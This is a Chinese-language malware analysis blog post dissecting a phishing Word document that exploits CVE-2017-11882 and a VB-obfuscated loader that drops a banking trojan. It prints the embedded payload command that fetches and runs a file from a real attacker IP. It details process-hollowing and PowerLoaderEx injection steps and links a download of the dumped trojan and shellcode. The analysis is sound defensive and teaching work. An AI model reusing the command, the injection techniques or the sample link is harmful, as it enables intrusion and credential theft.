前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次小型 APT 恶意攻击

记一次小型 APT 恶意攻击

作者头像
信安之路
发布2018-08-08 17:24:48
9990
发布2018-08-08 17:24:48
举报
文章被收录于专栏:信安之路信安之路

本文作者:x-encounter (信安之路作者团队成员)

在经历过期末学习怠倦期后,我战战兢兢地打开了(自己搭的蜜罐抓不到样本(╥ω╥`) )

http://www.malware-traffic-analysis.net/2018/01/15/index.html

下载样本文件,该样本使用了 CVE-2017-11882 office 漏洞,向黑客服务器发起链接,下载并执行恶意文件。

我们分步骤对该恶意攻击进行剖析。

了解 CVE-2017-11882

先放张图压压惊

黑客通过邮件的方式,诱导用户下载并打开附件 Items 5444.doc,从而实现恶意代码的植入,邮件截图如下

在分析 doc 之前,先对 CVE-2017-11882 做一下基本的介绍:

漏洞出现在模块 EQNEDT32.EXE 中,该模块为公式编辑器,在 Office 的安装过程中被默认安装。

该模块以 OLE 技术将公式嵌入在 Office 文档内。这个 EQNEDT32.EXE 位于

C:\Program Files\Common Files\Microsoft Shared\EQUATION

比较奇葩的是执行 EQNEDT32.EXE 时并不是作为 office 的子进程创建的,而是作为一个独立的进程执行,这意味着该进程不受 office 的保护机制,而且最重要的是由于年代久远这个 exe 还不支持 alsr 这些系统级的保护措施,将该 exe 拖入 IDA 中进行分析,漏洞发生在 sub_41160F 中。

F5 反编译一下,看的更加清晰。

a1 是公式的内容,V12 是栈区的地址,直接调用 strcpy 没有对复制的长度进行限制,典型的栈溢出,从 strcpy 就能够看出代码年代之久远,现在 vs 强制让你使用 strcpy_s

现在对 doc 进行静态分析,首先要对 OLE 对象进行提取和分析,这里我用的是 oletools 中的 rtfobj 工具,github下载地址

https://github.com/decalage2/oletools

附带 bat 脚本,在 windows 下傻瓜式一键安装,之后会在 python 的 script 下生成 rtfobj.exe,如果你给 pip 设置环境变量的话,那么你在 cmd 直接可以使用 rtfobj 命令,执行的命令如下:

rtfobj.exe "Items 5444.doc"

运行结果

龟龟,直接把 CVE-2017-11882 识别了出来。从上图可以了解到该 OLE 对象的类型为“Equation.3”,即公式编辑器 3.0 类型对象,大小 3584,直接执行如下命令,将 ole 对象 dump 出来

rtfobj.exe "Items 5444.doc" -s all

会生成一个 bin 文件,将其载入 010 编辑器,在末尾处发现了公式的内容

cmd /c \185.198.59.121\s\joe.src & UUUUUUUU

从 185.198.59.121上 下载 joe.src,接下来进行动态调试,执行动态调试的时候会遇到一个问题,由于 EQNEDT32.EXE 是一个独立的进程,我们附加 word 是没有意义的,而且我们还不知道 word 什么时候调用 EQNEDT32.EXE,貌似陷入了僵局。

解决方案:

我们可以使用“映像劫持”的办法在

KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE

将 Debugger 设置成我们的调试器,这样我们不用关心 word 什么时候调用 EQNEDT32.EXE,只要该程序启动,就会载入到设置好的调试器中,进行调试,这也是这个注册表键值最原始的用法,直到后来病毒使用该键值进行恶意启动才被说成映像劫持

然后,直接打开 word 文档,经过短暂的停顿,OD 会自动跳出来,开始调试 EQNEDT32.EXE,直接在溢出点下断,bp 00411658

重点关注 esi 所指向的数据区域,经过若干个 F9 之后

我们看到 esi 指向的数据段中出现了构造好的公式的内容,edi 指向 0012F2A8,执行完 strcpy 后该返回地址会被覆盖

0012F2A8 处的值被覆盖为了 00630C12,其实,这个值覆盖成什么都行,下面的一个 call 会将该值修改为 00430C12,有兴趣的可以步入进去分析一下为什么。运行到返回地址处

可以看到 00430C12WinExec 的函数地址,用来执行构造的公式内容,下载 joe.src 并执行

接下来分析恶意样本

恶意样本分析

这个病毒非常恶心,经过了复杂的代码混淆,混淆器由 VB 编写,最终会释放出来一个银行木马,提交到 virustotal 上面,发现我是第一个提交的,而且该木马目前过 360,金山,腾讯!!!

这个 joe.src 样本肯定很多人都拿到了,但是基本上都没有把里面的银行木马拖出来,大部分人都是扔到沙箱里面进行运行,然而目前主流的沙箱并不能检测到这个银行木马的最终释放,剩下的内容,我主要分享脱这个银行木马的思路

下面是沙箱的分析报告,很明显该沙箱并没有检测到银行木马,只检测出来了VB混淆器的执行流程

https://www.hybrid-analysis.com/sample/3f83a4ff3803dffbed605a82e30f79e39620ded61bd4a09b8e1abd08ec4c2ecb

这是我把该银行木马提交到 virustotal 上的报告,提交时间 2018/6/28

限于篇幅该银行木马的功能就不再敖述,样本奉献给大家,重点关注这个病毒是怎么释放的,将 joe.src 改为 joe.exe 查壳

VB6.0 编写,既然是 VB 正常思路肯定是扔到 VB Decomplier 里面看一下

果然是混淆大佬,什么都看不出来,IDA 也差不多,没办法先扔到火绒剑里面看看吧

这两个都是进程注入,非常有趣,一步一步来,把 joe.exe 扔到 OD 里,到达所谓的主函数

如图,两个函数需要特别关注,先进入第一个创建临时文件的函数,在 73393E5D 处获取用户语言环境比较是不是 409(实际返回 804),不是则跳转

通过 GetLocaleInfo 查询 804 是哪个语言,返回 CHS(简体中文)与字符串进行拼接,得到 DLL 完整路径,并通过 Loadlibrary 函数载入该 DLL

73451C92 处会调用 OleLoadPictureEx 创建临时文件,这里省略了很多步骤,你需要一层一层的步入才能找到这个函数,大概有十几层吧,之后会从资源节区载入字符串

之后进行一些无关紧要的操作,退出该函数,进入 7339363F 处的函数,这个函数仿照上面的步骤一层一层的跟,跟到 7339A622 处,这时查看窗口,有八个回调函数……

到这里我的思路还是接着往下走,对所有的回调函数下断点,接着单步,然而现实很残酷,这种方法并没有达到我们想要的结果……

整理一下思路,根据火绒剑的结果,可以了解如下的信息:该混淆器在最后会创建一个挂起进程,接着会向该进程进行两种形式的注入,接着会使该挂起的进程执行。我们的目的是获得注入的内容

我用的方法是 bpx CreateProcess。混淆器说白了也就是一个壳,早晚会回到用户态执行代码的,所以我的目的是使代码执行流程回到用户区域(之前窗口回调函数所在的内存区域一直是在高址上),事实证明方法是正确的。一直 F9 下去,直到 00441BC5 处的函数

该函数会找到 EnumPageFiles 的地址,并在之后 jmp 过去

call EnumPageFiles,调用回调例程,回调例程的地址是第一个参数,下断

在该例程中会解密一段 shellcode,并分配给其一段空间,最后 jmp 到 shellcode 中,如图中的数据段

shellcode 分析

dump 下来 shellcode,载入 IDA 中

采用两种反调试技术,StrongOD 轻松绕过,之后会开始获得相应的函数地址,这个混淆器获取函数地址的方法与以往的病毒不同,每次获取一个函数的地址都要到执行 DllFunctionCall 函数,此时 ecx 为动态链接库的名称, edx 为函数名,单步跟会显得非常繁琐

边获取边执行,经过一系列的操作之后,会获取 CreateProcessW 的地址,创建一个挂起的进程

接着获取 ZwWriteVirtualMemoryNtunMapofViewSection,将新进程的镜像空间清零,分 4 次写入解密后的银行木马,这里可以把银行木马 dump 下来,之后调用 NtSetContextThread 等一些原生 API 使新进程运行。原生函数版的进程替换

这里还剩另一种注入技术没有提到

这种注入称为 PowerLoaderEx,依靠注入资源管理器托盘窗口的额外窗口内存来实现代码注入的,在注册窗口类时,应用程序可以指定一些额外的内存字节,称为额外的窗口存储器(EWM)。 然而,EWM 并不算是块很充裕的空间。 为了规避这个限制,恶意软件将代码写入 explorer.exe 的共享部分,并使用 SetWindowLongSendNotifyMessage 来指定一个指向 shellcode 的函数指针,然后执行它。

这也是为什么会寻找 Shell_TrayWnd(系统托盘)的原因,详细原理请参照

https://github.com/BreakingMalware/PowerLoaderEx

github 上的 POC 是通过 ROP 技术实现的弹框(如果你想调试 ROP 链的话,记得附加 explorer.exe 进程=-=)

该混淆器也采用了上述的技术,但是在我的电脑上貌似失败了

分析完毕!!!

最后 dump 出来的银行木马地址如下(只提供银行木马和 shellcode )

https://pan.baidu.com/s/1oV9mcVojEw-qOwARZW7uDg

小结

1、分析之前没有想到这个恶意样本这么复杂

2、这个银行木马藏的太深了,以至于从1月份的样本中提出来的银行木马竟然还能过那么多杀毒软件

3、这个银行木马我没有分析,有兴趣的可以自己玩玩,顺便给信安投个稿

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-06-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 了解 CVE-2017-11882
  • 恶意样本分析
    • shellcode 分析
    • 小结
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档